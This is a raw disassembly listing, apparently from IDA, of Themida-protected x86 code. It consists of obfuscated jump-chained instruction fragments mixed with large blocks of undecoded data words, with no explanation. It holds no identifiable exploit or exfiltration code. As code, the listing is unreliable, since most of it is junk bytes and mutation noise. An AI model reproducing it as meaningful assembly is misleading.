6366E90Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8926: ; CODE XREF: Themida_:004FBBB8j pop ebx add bl, cl mov ecx, [esp] add esp, 4 xor al, bl pop ebx jmp loc_4FE08D ; --------------------------------------------------------------------------- loc_4F893A: ; CODE XREF: Themida_:004F459Dj push ebp mov ebp, esp jmp loc_4FCD5F ; --------------------------------------------------------------------------- dw 1C89h dd 0B6B6824h, 0D3E95DF3h, 8100005Eh, 2C2h, 5A545200h, 4863B850h dd 0E94078D1h, 0FFFFC802h, 89241C89h, 69368E3h, 0C8E90000h dd 5C000054h, 0A3C1E981h, 98E9382Ch, 3100003Ah, 1C33241Ch dd 89665C24h, 50662414h, 0A562E99Ch, 2C89FFFFh, 1A80BD24h dd 0E5C15844h, 3EBE5604h, 0E9674B57h, 1CBEh, 5394768h dd 2434FF00h, 0E924048Bh, 4B3Eh, 0EEE9FA30h, 66000065h dd 5224048Bh, 0C2815A54h, 4, 4EC81h, 1C890000h, 9F685524h dd 5D31DC7Dh, 51DDED81h, 0E5C11141h, 2F58107h, 0E94D95E1h dd 0FFFFA761h, 53D8005Bh, 0A2E964B3h, 29FFFFF0h, 8E95FFEh dd 0ADFFFFF9h, 0D5E9D831h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8A0B: ; CODE XREF: Themida_:004FBB9Cj pop ebp add ecx, 4 push ecx push dword ptr [esp+4] jmp loc_4FAA96 ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 4C18100h, 81000000h, 2C1h, 240C8700h dd 824248Bh, 0E99C2404h, 0FFFFA4B4h ; --------------------------------------------------------------------------- loc_4F8A40: ; CODE XREF: Themida_:004FA775j add esp, 4 push edi mov edi, 8AF50B4h shr edi, 1 jmp loc_4F558B ; --------------------------------------------------------------------------- db 0ACh dd 81E28952h, 4C2h, 2EA8100h, 33000000h, 14312414h, 0E9DBE924h dd 3C87FFFFh, 24248B24h, 5624048Bh, 0D8BEE954h, 0EDC1FFFFh dd 22B2E904h, 0BB660000h, 51662DD4h, 1D1AB966h, 66CB0966h dd 0D3F76659h, 0D2BE6656h, 0DEF76636h, 0E0F68166h, 0E6816677h dd 816636C1h, 6613B6CEh, 0EE816646h, 2966BEBFh, 81665EF3h dd 0E95EF1F3h, 0FFFFAAB5h, 7FE9E289h, 89FFFFEFh, 4C781E7h dd 83000000h, 3C8704EFh, 53DCE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8ADE: ; CODE XREF: Themida_:004F83AEj push ecx mov cl, al push edx mov dl, cl jmp loc_4FA682 ; --------------------------------------------------------------------------- db 81h, 0C1h, 96h dd 5620805Eh, 8A0EBBBEh, 10E7E9C1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8AFA: ; CODE XREF: Themida_:004F4313j add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] jmp loc_4FE28D ; --------------------------------------------------------------------------- db 81h, 0EFh, 0AFh dd 129EDDDh, 0EE015FFDh, 0FFF103E9h, 6143BAFFh, 0A8E92BCCh dd 83FFFFBAh, 770904C4h, 24348B1Ch, 198668h, 6280E900h dd 0D0210000h, 18E8C15Ah, 38F8E9h, 40B95100h, 0E975232Ch dd 0FD4h, 3012C781h, 0D7010069h, 353DE9h, 48B6600h, 0D826E924h dd 8B66FFFFh, 8950240Ch, 95BD55E0h, 0F70A5617h, 0BD5556DDh dd 28C112D5h, 0D5F7EDD1h, 1D66F581h, 2EE9CED6h, 0AC00000Fh dd 4AE9D830h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8B93: ; CODE XREF: Themida_:004FF4EAj push ebp jmp loc_4F9116 ; --------------------------------------------------------------------------- db 68h, 32h, 2Eh dd 8F540000h, 0D8E92404h, 66000068h, 51240C8Bh, 4EC81h dd 17E90000h, 89FFFFEEh, 29B3241Ch, 6152E9h, 24048F00h dd 8924248Bh, 68241Ch, 0E9000004h, 0FFFFD54Eh, 941573BDh dd 5DEA0122h, 0E904EC83h, 0FFFFE76Ch, 42474FFh, 24048F5Dh dd 6624248Bh, 9C240CFFh, 0FFA2FBE9h, 32FF66FFh, 0FFA2F3E9h dd 240C8BFFh, 4C481h, 0C4810000h, 4, 0F6E95251h, 83FFFFD0h dd 48704C0h, 9DE95C24h, 54FFFFABh, 4C2815Ah, 51000000h dd 7C4489B9h, 6CBE5676h, 314A0B29h, 0E9515EF1h, 0FFFFA2E7h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 54CDh mov [esp], esi jmp loc_4F61E1 ; --------------------------------------------------------------------------- aIS db '^',0 dw 8100h dd 0ED2F62E6h, 44F6811Ch, 0E9042C21h, 0B80h, 0E924248Bh dd 2F57h, 0E5E95A66h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8C77: ; CODE XREF: Themida_:004FA7BFj or ebx, edx pop edx shr ebx, 2 add ebx, 6E9D500Bh jmp loc_4F62EC ; --------------------------------------------------------------------------- loc_4F8C88: ; CODE XREF: Themida_:004F754Ej sub ebp, ebx pop ebx jmp loc_4F390A ; --------------------------------------------------------------------------- dd 0D2F7D187h, 0F181D187h, 9280AB20h, 0C8BCB01h, 21E6E924h dd 0E9590000h, 0FFFFECA2h, 8245C01h, 244C015Bh, 246C8104h dd 3E69D104h, 0D7C5E975h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F8CC2: ; CODE XREF: Themida_:004FEAE3j or ebx, 1AD1563Ah dec ebx neg ebx push ebp jmp loc_4FAD54 ; --------------------------------------------------------------------------- loc_4F8CD1: ; CODE XREF: Themida_:004FC450j xor ecx, 0DCD5DADh mov [edi+20h], ecx pop ecx shr dword ptr [edi+20h], 7 add dword ptr [edi+20h], 50DA5F73h push edx jmp loc_4FCEB1 ; --------------------------------------------------------------------------- dd 8002EFC0h, 0C780A5EFh, 0E9F82886h, 0FFFFE36Dh, 4C481h dd 1C8B0000h, 4C48124h, 57000000h, 0C781E789h, 4, 4EF81h dd 0B8E90000h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F8D1F: ; CODE XREF: Themida_:004FA792j pop edx xor ebx, 614817B8h shr ebx, 2 xor ebx, 0E676C95h add ebp, ebx pop ebx sub ebp, 4 jmp loc_4F6A15 ; --------------------------------------------------------------------------- db 59h, 56h, 89h dd 0FDBF57E6h, 815B0C2Ah, 66614DF7h, 4CE78168h, 47001301h dd 2449E781h, 0EFC1665Eh, 0E9565207h, 27D5h, 50C32859h dd 0D8F6FCB0h, 62E9D0F6h, 0ADFFFFD1h, 0BD55D831h, 26770680h dd 0F706EDC1h, 4BBA52DDh, 913B62Fh, 15685AD5h, 89000003h dd 4DBE2434h, 31D64ABAh, 0B88BE9F5h, 0C89FFFFh, 4EC8324h dd 52243C89h, 2738C68h, 24148B32h, 0FFD8E4E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F8DB5: ; CODE XREF: Themida_:004FD988j mov bh, 0CCh mov cl, 6Eh sub cl, 4Eh jmp loc_4FBBB3 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0A5F8E959h, 0C381FFFFh, 2FFD4E04h, 835BDE01h, 348704C6h dd 0BD555C24h, 198B6945h, 550B7ABBh, 5DEB315Dh, 0E95AD331h dd 0FFFFA104h, 0BB241C89h, 4BE22984h, 7A7AC381h, 814374E6h dd 0C8A3FBF3h, 5BDE01C0h, 0DCB95153h, 0C12A510Eh, 0F18107E9h dd 29AADBFFh, 79E95B51h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8E1F: ; CODE XREF: Themida_:004F8F5Ej mov eax, 1E8E6A62h sub edx, eax pop eax mov edi, [esp] add esp, 4 loc_4F8E2D: ; CODE XREF: Themida_:004FB10Dj ; Themida_:004FD872j push 1481h mov [esp], ecx push 2B8Ch mov [esp], ebp mov ebp, esp sub esp, 4 jmp loc_4FB543 ; --------------------------------------------------------------------------- dw 0BB53h dd 5588474Eh, 3932EB81h, 0F3810E14h, 47740E18h, 815BDE01h dd 4EEh, 24348700h, 8924248Bh, 9968243Ch, 5F0EE756h, 0EC8C781h dd 0EF811001h, 7CED3477h, 30E8EF81h, 0FE89A1FBh, 5EF1295Fh dd 2474FF51h, 48F5904h, 24248B24h, 240C8966h, 0C8B60F66h dd 0E99C5166h, 0FFFFA04Ch, 1B0FE954h, 1A680000h, 581FC94Eh dd 19D9442Dh, 0E9C589B4h, 4453h ; --------------------------------------------------------------------------- loc_4F8EC0: ; CODE XREF: Themida_:004FF42Dj push esi mov esi, 0C7A560Eh jmp loc_4F7675 ; --------------------------------------------------------------------------- db 51h dd 4B9h, 59CF0100h, 2050E9h db 0 ; --------------------------------------------------------------------------- loc_4F8ED9: ; CODE XREF: Themida_:004FBA7Cj inc dl xor dl, 2Ah jmp loc_4FE47F ; --------------------------------------------------------------------------- loc_4F8EE3: ; CODE XREF: Themida_:004FBBE4j mov ebx, 4 add edi, 2730707Ah sub edi, ebx sub edi, 2730707Ah pop ebx xchg edi, [esp] mov esp, [esp] mov [esp], edx push ebx jmp loc_4FB5F1 ; --------------------------------------------------------------------------- dw 8B66h dd 5457240Ch, 4EC835Fh, 0BE243489h, 185A2A0Ch, 4E05E6C1h dd 508CE81h, 0E8E963CBh db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F8F27: ; CODE XREF: Themida_:004FDD6Cj xor ebp, [esp] mov esp, [esp] sub [esp], ax pushf jmp loc_4F2EF4 ; --------------------------------------------------------------------------- loc_4F8F37: ; CODE XREF: Themida_:004FA654j xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_4FD427 ; --------------------------------------------------------------------------- db 57h, 0E9h, 2Fh dd 81000015h, 0C13C0AC1h, 6FC98106h, 0E953B04Ah, 0FFFFFB8Dh ; --------------------------------------------------------------------------- loc_4F8F5C: ; CODE XREF: Themida_:004F7254j pop edx push eax jmp loc_4F8E1F ; --------------------------------------------------------------------------- db 66h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_4FE9B5 ; --------------------------------------------------------------------------- loc_4F8F75: ; CODE XREF: Themida_:004F32B0j mov esp, [esp] mul ecx push 0E42h mov [esp], edx push eax pushf jmp loc_4F2EF4 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h aQs8n db 'Q8N',0 align 2 dw 1C87h dd 0BEE95C24h, 83FFFFE2h, 0C3304C4h, 240C3124h, 8B240C33h dd 0F7662424h, 0EC8357E1h, 24248904h, 4240481h, 0E9000000h dd 0FFFFBA7Ch, 7904F281h, 0BB5362A3h, 1D7052E9h, 10C2CB81h dd 0DBF732B7h, 0FDB8F381h, 0DF29E204h, 50D7295Bh, 867AC4B8h dd 32762D73h, 28E9089Ch db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8FEF: ; CODE XREF: Themida_:004FCF7Ej inc edx add edx, 0C0B8FB27h mov ecx, edx push dword ptr [esp] pop edx jmp loc_4FC65B ; --------------------------------------------------------------------------- aIH_ db '<$h.',9,0 dd 24248900h, 6177E9h, 87D9F700h, 1BF57CDh, 0E9710A1Dh dd 0FFFFA67Eh, 0E904EDC1h, 0FFFFA7E8h, 158C389h, 3AA0E9DDh dd 8B660000h, 0EC832404h, 24148904h, 0C2815A54h, 4, 0FFF906E9h dd 2434FFFFh, 0FFAEE9E9h, 8C181FFh, 4942C164h, 0FFFFC181h dd 0E981FFFFh, 3832490Eh, 0FFEDF1E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F9069: ; CODE XREF: Themida_:004F67CEj xor edi, [esp] jmp loc_4FD829 ; --------------------------------------------------------------------------- db 89h, 0C6h, 58h dd 2C81565Bh, 124h, 42BE900h, 1030000h, 0E92434FFh, 0FFFFFCB1h dd 0E987048Dh, 0FFFFE98Ch, 4ED81h, 2C870000h, 0C038E924h dd 8359FFFFh, 2C8704C5h, 48B5C24h, 0E3895324h, 4C381h dd 0EC810000h, 4, 56240489h, 440CE5BEh, 0B6F6812Eh, 89218C67h dd 0B1055EF0h, 1F03794h, 1A48E9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F90DA: ; CODE XREF: Themida_:004F959Bj movzx eax, al mov dx, [esp] push 49B9h mov [esp], esi jmp loc_4FD570 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 0E902C383h, 0F65h, 647D6856h, 0E95E60BFh, 0FFFFDD8Dh dd 4C481h, 0EC830000h, 0A681E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F9116: ; CODE XREF: Themida_:004F8B94j push esp pop ebp jmp loc_4F525E ; --------------------------------------------------------------------------- loc_4F911D: ; CODE XREF: Themida_:004F6904j add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx xor ebx, [esp] jmp loc_4FB7A9 ; --------------------------------------------------------------------------- dd 4C48359h, 68E38953h, 6C50h, 0B8240489h, 4, 8158C301h dd 4C3h, 241C3300h, 412AE9h db 0 ; --------------------------------------------------------------------------- loc_4F9159: ; CODE XREF: Themida_:004F9447j pop esp jmp loc_4FA765 ; --------------------------------------------------------------------------- db 68h dd 147h, 83241C89h, 248904ECh, 24048124h, 4, 4C3815Bh dd 81000000h, 4C3h, 0BEB4E900h, 0C330FFFFh, 56C0B60Fh dd 0BB53E689h, 4, 3D74EE81h, 0DE017FBBh, 3D74C681h, 1C8B7FBBh dd 4C48124h, 81000000h, 2EEh, 2BBD6800h, 0C890000h, 81E18924h dd 4C1h, 4B85000h, 29000000h, 0C8758C1h, 0DF1E924h, 0AC050000h dd 1739418h, 18AC2DD8h, 0A2E97394h, 8BFFFFCBh, 0C481240Ch dd 4, 0D1E95051h, 50000032h, 3572B8B8h, 58C10145h, 240C875Dh dd 240CFE5Ch, 9CEAE99Ch, 8156FFFFh, 0C642434h, 1C8B16F9h dd 4C48124h, 81000000h, 0F90C64F3h, 0EB835E16h, 0FDF381FFh dd 0F767477Fh, 0EB88E9DBh, 0E189FFFFh, 72B95156h, 0F70AC616h dd 684149D1h, 3F72h, 0BD242C89h, 1FF6266Dh, 81DDF745h dd 7B3DA3C5h, 4E5C12Eh, 0FFAE0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F925D: ; CODE XREF: Themida_:004F6CEEj pop ebp jmp loc_4FD678 ; --------------------------------------------------------------------------- db 81h dd 0CD2C11C6h, 7E6C163h, 3CA9EE81h, 0D6F7571Ch, 0FFEC8CE9h dd 5DE068FFh, 51E90000h, 0F6FFFFEAh, 9F41E9D0h, 0C681FFFFh dd 1F49ED82h, 38E9F301h, 6800000Ch, 51AF4037h, 0FFF357E9h dd 0A5E953FFh db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F92A7: ; CODE XREF: Themida_:004FE628j sub ebp, 2FDE0E5Eh pop esi and eax, ebp pop ebp or eax, eax jz loc_4FA7F9 push dword ptr [edi+1Ch] push edx mov edx, 3690245Ch xor [esp+4], edx pop edx push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push edx push esp mov edx, [esp] add esp, 4 push ecx push 40526222h pop ecx jmp loc_4FE2A4 ; --------------------------------------------------------------------------- dd 0E980F100h, 0F1E980FDh, 0FFD67AE9h, 6404ACFFh, 33E97204h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F92FF: ; CODE XREF: Themida_:004F3A30j xchg ecx, [esp] pop esp jmp loc_4FAAD0 ; --------------------------------------------------------------------------- loc_4F9308: ; CODE XREF: Themida_:004FCC33j pop dx jmp loc_4F6E7F ; --------------------------------------------------------------------------- db 5Ch dd 24048B66h, 5C476851h, 9BE90000h, 83FFFFDBh, 3C8704C7h dd 0EB685C24h, 89000010h, 14E9240Ch, 8100000Ah, 0BE85C6F3h dd 0DD54E9E2h, 0E220FFFFh, 5D9AE9h, 6DBB5300h, 0C13C1878h dd 0F74306E3h, 81DBF7D3h, 153332CBh, 0DAF38141h, 147B20Fh dd 0E6C15BDEh, 0D9EE8106h, 0D171D479h, 79C681E6h, 817000F4h dd 1C38EFC1h, 2725E92Dh, 77FF0000h, 9B6EE940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F9386: ; CODE XREF: Themida_:004F5ABBj push dword ptr [esp] jmp loc_4FD8EF ; --------------------------------------------------------------------------- aSs db 'S/',0 align 4 loc_4F9394: ; CODE XREF: Themida_:004F438Aj push 2A54h mov [esp], edx push esp pop edx push ebx push esi mov esi, 4B6776EAh mov ebx, esi jmp loc_4F8320 ; --------------------------------------------------------------------------- loc_4F93AC: ; CODE XREF: Themida_:004FB01Aj pop ebp add ebp, 4 add ebp, 4 jmp loc_4F9CF4 ; --------------------------------------------------------------------------- db 66h dd 0B468F9F7h, 0E900000Ch, 1F58h, 9B26E95Bh, 2C89FFFFh dd 17B85024h, 8326BB76h, 4048FFC0h, 0ADEB4605h, 2D38E956h dd 0DBF60000h, 51F6F380h, 0C580E9B5h, 10DCE938h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F93F6: ; CODE XREF: Themida_:004FCB83j pop edi pop eax sub esp, 4 jmp loc_4FE018 ; --------------------------------------------------------------------------- loc_4F9400: ; CODE XREF: Themida_:004F80A4j mov [esp], edi push eax mov eax, 62857D8Eh push 7D0h mov [esp], esi mov esi, 353E4B7Dh jmp loc_4FAB30 ; --------------------------------------------------------------------------- db 0F6h dd 66012454h, 66C5FE59h, 51535053h, 40B745B1h, 5259CF00h dd 0FFD8BEE9h, 14402DFFh, 0C38923F2h, 0E9D30158h, 0FFFFEEBCh ; --------------------------------------------------------------------------- loc_4F9444: ; CODE XREF: Themida_:004FA224j xor ecx, [esp] jmp loc_4F9159 ; --------------------------------------------------------------------------- dd 2FCEF181h, 0C829C73Fh, 41F1E959h, 0D0890000h, 0FFD3E95Ah dd 0E630FFFFh, 403FE9h, 0EC815900h, 4, 0BF243C89h, 44003AC6h dd 0FFF49EE9h, 4C381FFh, 0E9000000h, 0FFFFB365h, 0C7CBE95Ah dd 489FFFFh, 0E9585424h, 102Ah, 592434FFh, 404C483h, 2CF8283Ah dd 0B7B6523Ah, 0FFC191E9h, 0C6815EFFh, 0B41ABC5Ah, 2C41BE56h dd 0C68155F3h, 0BED5F46Fh, 73E9BB53h, 0D8010CB0h, 2AB5E95Bh dd 665C0000h, 66C8B60Fh, 66175E68h, 0E9240C89h, 0FFFF9A14h dd 4EC81h, 26E90000h, 5B000017h, 0EB81D3F7h, 0A5DAA11Bh dd 815BDD89h, 0B57D63EEh, 81EE016Dh, 0B57D63C6h, 3933E96Dh dd 14890000h, 815A5424h, 4C2h, 0BF575300h, 2E8E584Dh, 27D8E781h dd 0DFF77124h, 41BEC781h, 0F7812599h, 6C172E82h, 0FFD090E9h dd 243489FFh, 0B3240481h, 0E9305A30h, 44EBh ; --------------------------------------------------------------------------- loc_4F9544: ; CODE XREF: Themida_:004FA557j pop edx jmp loc_4FDAC1 ; --------------------------------------------------------------------------- dw 0E953h dd 421Dh, 4C781h, 52550000h, 2BAh, 5AD58900h, 38FC781h dd 62E90426h, 0E9FFFFF0h, 0FFFF9984h, 66C72966h, 66476658h dd 0EFC1664Fh, 0EF816602h, 6BE9FCACh db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F9587: ; CODE XREF: Themida_:004F6632j mov ch, 0CBh add bl, 0D1h add bl, ch sub bl, 0D1h mov cx, [esp] add esp, 2 jmp loc_4F90DA ; --------------------------------------------------------------------------- loc_4F95A0: ; CODE XREF: Themida_:004FEB5Cj add esp, 4 jmp loc_4F5F08 ; --------------------------------------------------------------------------- loc_4F95AB: ; CODE XREF: Themida_:004FDD09j add ebx, ebp pop ebp jmp loc_4FDCA9 ; --------------------------------------------------------------------------- loc_4F95B3: ; CODE XREF: Themida_:004F8362j pop cx sub bl, 9Ch add al, bl jmp loc_4F8739 ; --------------------------------------------------------------------------- db 33h dd 0D8E9241Ch, 0F7000049h, 87D787D2h, 48B243Ch, 0FD8E924h dd 0D7F70000h, 52ECE9h, 39ED8100h, 89FCDAAAh, 0FB315DEFh dd 5BDA015Fh, 352FE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F95F2: ; CODE XREF: Themida_:004FC4FFj push ecx mov ch, 92h dec ch shl ch, 3 not ch add ch, 74h push edx mov dl, ch mov bl, dl pop edx pop ecx push edx mov dh, bl mov ah, dh pop edx mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_4F84CB ; --------------------------------------------------------------------------- dd 51E38953h, 0FFD9B9E9h, 243C87FFh, 5A54525Ch, 4C281h dd 53570000h, 4BBh, 0EF6AE900h, 3359FFFFh, 5FE9243Ch, 81000003h dd 82592FC6h, 24048B24h, 4C481h, 0F0010000h, 6E2D2D5Eh dd 0D8290686h, 1444BB53h, 0E9432B68h, 78Ch, 24048B66h dd 5A3168h, 0E9DEE900h, 8868FFFFh, 8900006Eh, 0BB53240Ch dd 24h, 0AEE9D989h, 0B5000002h, 22E58016h, 0FEFBE580h dd 0A5C580CDh, 0E959E808h, 18F5h ; --------------------------------------------------------------------------- loc_4F96A8: ; CODE XREF: Themida_:004FAD59j shl ebp, 3 xchg edi, ebp not edi push ebp push edi jmp loc_4F53CF ; --------------------------------------------------------------------------- dw 885Bh dd 0C8B870Ch, 16F06824h, 2C890000h, 81E58924h, 4C5h, 1605E900h dd 1DE90000h, 54FFFF98h, 4C2815Ah, 83000000h, 2BE904C2h dd 0BAFFFFC1h, 4, 55AD001h, 2, 5C240487h, 24048B66h, 6C3F68h dd 24148900h, 57ECE9h, 0D831AD00h, 17685756h, 5F04816Dh dd 0DBC17968h, 24348B5Bh, 4C481h, 0C6810000h, 2C0A1516h dd 51E9FE01h, 81000017h, 4C4h, 53E95100h, 45000000h, 0FFC72FE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F9741: ; CODE XREF: Themida_:004F548Bj add esp, 4 mov ebp, esi mov esi, [esp] add esp, 4 shr ebp, 8 sub ebp, offset byte_44FF2B and eax, ebp jmp loc_4F8669 ; --------------------------------------------------------------------------- dw 1C89h dd 1C8B5424h, 4C48124h, 55000000h, 576609BDh, 0DDF74558h dd 8102E5C1h, 1F1DC9C5h, 81EDD104h, 9F3D34C5h, 0B785E9AEh dd 0E189FFFFh, 4BB53h, 0FE90000h, 31FFFFA6h, 0C3E95EF2h dd 8F000034h, 0FF5C2404h, 34FF2434h, 4451E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F97B2: ; CODE XREF: Themida_:004FC468j mov ebp, esp push esi mov esi, 200B40D8h not esi push ecx mov ecx, 398D3734h add ecx, 0DE591B3Eh or esi, ecx jmp loc_4FEB97 ; --------------------------------------------------------------------------- db 51h dd 42474FFh, 24048F59h, 68C80F5Ch, 28A7h, 0E9240489h, 0FFFF970Ch dd 6CE9F001h, 68FFFFA3h, 7364h, 89243C89h, 198F68E7h, 1C890000h dd 0BA9AE924h, 3487FFFFh, 4977E924h, 248B0000h, 0C896624h dd 96DAE924h, 0C183FFFFh, 240C3304h, 33240C31h, 248B240Ch dd 278FE924h, 81450000h, 0FFFFFFC5h, 4381E9FFh, 89040000h dd 51240C8Bh, 0C1815954h, 4, 0FFE11FE9h, 4EC81FFh, 89000000h dd 3BE9241Ch, 83FFFFA7h, 685B04C4h, 1419h, 81243C89h, 246F2404h dd 815B5180h, 80246FEBh, 79E95F51h, 40FFFF96h, 6E0DD0F7h dd 554F0B33h, 7E7816BDh, 200C050Eh, 0E82923E7h, 0FFC93FE9h dd 895658FFh, 4C681E6h, 81000000h, 4EEh, 5BE95600h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F98AB: ; CODE XREF: Themida_:004F7F95j pop ecx xor edx, 1F807398h add edx, 316CD981h xor ecx, edx pop edx add eax, ecx pop ecx jmp loc_4F303B ; --------------------------------------------------------------------------- db 5Bh dd 4C381h, 9E680000h, 8900001Ah, 0BA52243Ch, 2, 15AD789h dd 2434FFFBh, 4C4835Fh, 31241C33h, 1C33241Ch, 24248B24h dd 24048B66h, 22AA68h, 0DA15E900h, 0EC81FFFFh, 4, 89240489h dd 405E0h, 42D0000h, 87000000h, 895C2404h, 4BA2414h, 1000000h dd 0C875AD1h, 43E95C24h, 5CFFFF9Ah, 0FF95C3E9h, 0D830ACFFh dd 8904EC83h, 71B62414h, 2E8EE9h, 2434FF00h, 4E0BE95Bh dd 8B660000h, 86E9240Ch, 8100003Bh, 4C1h, 4C18300h, 2474FF51h dd 48F5904h, 0E9565C24h, 0FFFF9E88h, 0EC81E689h, 4, 0FFF477E9h dd 815B54FFh, 4C3h, 4C38300h, 5C241C87h, 5C24048Fh, 3CBF5753h dd 50103631h, 4253E9h db 0 ; --------------------------------------------------------------------------- loc_4F9999: ; CODE XREF: Themida_:004F529Bj add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_4FE6D5 ; --------------------------------------------------------------------------- dw 3C31h dd 243C3324h, 2434FF5Ch, 0A159E958h, 0EEC1FFFFh, 8EEC108h dd 75FDE681h, 0C6835A67h, 37BD55FFh, 31B4D873h, 0E9565DEEh dd 1D30h, 24148B58h, 4C481h, 3C870000h, 24248B24h, 0EC83F1F7h dd 24048904h, 0CCCE9h, 9B686600h, 0C896602h, 8015B124h dd 0C38026EBh, 67E99Ah, 7680000h, 89000044h, 0BB53242Ch dd 19E27330h, 0E27334BDh, 5BDD3119h, 2C8BEF01h, 4C48124h dd 83000000h, 3BE904C7h, 0B8FFFFF0h, 1, 0FF244701h, 52582434h dd 0FFFC92E9h, 4875FFFh, 0E5CBE924h, 85BBFFFFh, 0BF659551h dd 0EF6FE243h, 0FFD7AEE9h, 6A4668FFh, 34890000h, 0DAE95524h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F9A6B: ; CODE XREF: Themida_:004F619Ej pop ecx jmp loc_4F7B66 ; --------------------------------------------------------------------------- db 28h, 0CBh, 80h dd 0EC839AEBh, 240C8904h, 0EC79E953h, 3487FFFFh, 16B9E924h dd 0E3C10000h, 3E3C104h, 4551E9h, 240C8900h, 0FF9457E9h dd 241C87FFh, 2414895Ch, 0CEFE6FB6h, 13B75366h, 34E9FE00h dd 0ACFFFFC9h, 41E6E9h, 5DEE8900h, 1D6FE9h, 80F18600h dd 6866EEF1h, 10E9171Ch, 89000037h, 0EC83241Ch, 24248904h dd 4240481h, 5B000000h, 0FFD521E9h, 422968FFh, 3C890000h dd 2474FF24h, 48F5F04h, 1665C24h, 0E99C2404h, 0FFFF93F4h dd 8A7E981h, 0CB894142h, 0E9240C8Bh, 4A0Bh ; --------------------------------------------------------------------------- loc_4F9B10: ; CODE XREF: Themida_:004FCA67j push ebp mov ebp, 319A77A2h shl ebp, 1 jmp loc_4F7A08 ; --------------------------------------------------------------------------- db 59h, 57h, 0E9h dd 0FFFFEFA7h, 363FC981h, 0E9833073h, 81D9F7FFh, 0EB0451E9h dd 0ABE9810Eh, 1333F5Ch, 28E959CDh, 2C000001h, 0E9F000E5h dd 3F31h ; --------------------------------------------------------------------------- loc_4F9B4C: ; CODE XREF: Themida_:004FA046j mov ebp, 1F7739C6h mov esi, 0D28474B7h add esi, ebp pop ebp sub ecx, esi pop esi sub eax, ecx pop ecx push edi mov edi, 7762514Eh push 5E55h mov [esp], ecx push 31F77772h mov ecx, [esp] add esp, 4 add eax, 2DDD42DFh add eax, ecx jmp loc_4F4C89 ; --------------------------------------------------------------------------- dd 0E9243C89h, 2B13h, 46E9E189h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F9B93: ; CODE XREF: Themida_:004FB703j not edi shr edi, 2 jmp loc_4F7771 ; --------------------------------------------------------------------------- db 0B9h, 71h, 0Fh dd 0C981347Ch, 4C84054Ah, 2F65E9h db 0 ; --------------------------------------------------------------------------- loc_4F9BAD: ; CODE XREF: Themida_:004FBF0Fj xchg ebp, [esp] pop esp jmp loc_4FE279 ; --------------------------------------------------------------------------- aTsL db 'TL',0 align 4 dd 0D8E9595Eh, 1FFFFFBh, 148758C2h, 0D3665C24h, 0E99C2424h dd 0FFFF9320h, 24348157h, 25277C22h, 0FFCE43E9h, 5EF101FFh dd 0AAE9CB09h, 89000023h, 0DAE955E6h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F9BF3: ; CODE XREF: Themida_:004FA360j not ebx xchg ebx, edi jmp loc_4FD98D ; --------------------------------------------------------------------------- dd 4EC835Eh, 0FFD098E9h, 2434FFFFh, 8124148Bh, 4C4h, 13A66800h dd 14890000h, 505A5424h, 141727B8h, 573A0557h, 0B9E9174Dh dd 66FFFFAEh, 68240C8Bh, 7798h, 137BE9h, 243C8700h, 24048F5Ch dd 0CAD0E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F9C46: ; CODE XREF: Themida_:004F3592j push edx mov edx, 618C5052h dec edx not edx shl edx, 4 shl edx, 6 add edx, 653FB56Ah sub ecx, edx pop edx sub ecx, 0E77C97B1h and ebp, ecx jmp loc_4FB74D ; --------------------------------------------------------------------------- db 56h dd 4003ACBEh, 5EEC151h, 70B4CE81h, 0E6C10DF9h, 9C68106h dd 29B2C5AEh, 1070E9F5h, 0C4830000h, 4C38304h, 6ADC68h dd 3E4E900h, 55E90000h, 59FFFF92h, 0EE5BE56h, 0C6813273h dd 1A6C6F86h, 0D04C681h, 0E6814C21h, 39846F8Dh, 112AC681h dd 0F2294ECEh, 51FA015Eh, 0CE1C37B9h, 0DAEA8167h, 150A574h dd 0DAC281CAh, 0E950A574h, 0FFFFDEEDh, 8C2CF028h, 8124148Bh dd 4C4h, 95B25200h, 0E95AD300h, 2AC8h ; --------------------------------------------------------------------------- loc_4F9CF4: ; CODE XREF: Themida_:004F93B6j xchg ebp, [esp] pop esp 